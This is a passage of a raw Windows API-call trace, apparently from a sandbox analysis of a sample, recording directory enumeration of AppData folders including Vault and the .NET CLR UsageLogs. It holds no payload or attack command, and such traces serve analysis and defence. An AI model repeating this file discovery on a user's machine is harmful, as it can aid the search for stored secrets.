nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0209.373] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xfcb4df2e, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfcb4df2e, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0209.373] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x87ca06a1, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x87ca06a1, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~2")) returned 1 [0209.374] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0209.374] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.374] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd780) returned 1 [0209.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd740) returned 1 [0209.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0209.374] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0", lpFilePart=0x0) returned 0x36 [0209.375] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v2.0\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.474] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.475] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0209.475] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 0 [0209.475] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0209.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0209.476] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0", lpFilePart=0x0) returned 0x36 [0209.476] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v2.0\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469dc0 [0209.476] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.476] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0209.476] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.477] FindClose (in: hFindFile=0x1d469dc0 | out: hFindFile=0x1d469dc0) returned 1 [0209.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0209.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0209.477] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs", lpFilePart=0x0) returned 0x40 [0209.477] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v2.0\\usagelogs\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6079694, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469dc0 [0209.478] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6079694, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.478] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6079694, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6079694, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0xfb55cbfa, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="addinutil.exe.log", cAlternateFileName="ADDINU~1.LOG")) returned 1 [0209.478] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.478] FindClose (in: hFindFile=0x1d469dc0 | out: hFindFile=0x1d469dc0) returned 1 [0209.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0209.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0209.478] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs", lpFilePart=0x0) returned 0x40 [0209.478] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v2.0\\usagelogs\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6079694, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.479] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6079694, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.479] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6079694, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6079694, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0xfb55cbfa, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="addinutil.exe.log", cAlternateFileName="ADDINU~1.LOG")) returned 1 [0209.479] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6079694, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6079694, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0xfb55cbfa, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="addinutil.exe.log", cAlternateFileName="ADDINU~1.LOG")) returned 0 [0209.479] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0209.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0209.480] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0", lpFilePart=0x0) returned 0x36 [0209.480] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v4.0\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5b2eec3b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x5b2eec3b, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.480] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5b2eec3b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x5b2eec3b, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.480] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x70f197fc, ftLastAccessTime.dwHighDateTime=0x1d7b059, ftLastWriteTime.dwLowDateTime=0x70f197fc, ftLastWriteTime.dwHighDateTime=0x1d7b059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0209.481] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x70f197fc, ftLastAccessTime.dwHighDateTime=0x1d7b059, ftLastWriteTime.dwLowDateTime=0x70f197fc, ftLastWriteTime.dwHighDateTime=0x1d7b059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 0 [0209.481] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0209.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0209.481] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0", lpFilePart=0x0) returned 0x36 [0209.481] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v4.0\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5b2eec3b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x5b2eec3b, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.481] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5b2eec3b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x5b2eec3b, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.482] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x70f197fc, ftLastAccessTime.dwHighDateTime=0x1d7b059, ftLastWriteTime.dwLowDateTime=0x70f197fc, ftLastWriteTime.dwHighDateTime=0x1d7b059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0209.482] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.482] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0209.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0209.482] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs", lpFilePart=0x0) returned 0x40 [0209.483] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x70f197fc, ftLastAccessTime.dwHighDateTime=0x1d7b059, ftLastWriteTime.dwLowDateTime=0x2f75e129, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.483] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x70f197fc, ftLastAccessTime.dwHighDateTime=0x1d7b059, ftLastWriteTime.dwLowDateTime=0x2f75e129, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.483] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f75e129, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2f75e129, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2f75e129, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="libGLESv2.dll.exe.log", cAlternateFileName="LIBGLE~1.LOG")) returned 1 [0209.483] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5b2eec3b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xd48ca0a1, ftLastWriteTime.dwHighDateTime=0x1d99d09, nFileSizeHigh=0x0, nFileSizeLow=0x110c, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 1 [0209.484] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f197fc, ftCreationTime.dwHighDateTime=0x1d7b059, ftLastAccessTime.dwLowDateTime=0x70f197fc, ftLastAccessTime.dwHighDateTime=0x1d7b059, ftLastWriteTime.dwLowDateTime=0x1cff45b5, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x15dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="sdiagnhost.exe.log", cAlternateFileName="SDIAGN~1.LOG")) returned 1 [0209.484] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.484] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0209.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0209.484] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs", lpFilePart=0x0) returned 0x40 [0209.484] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, 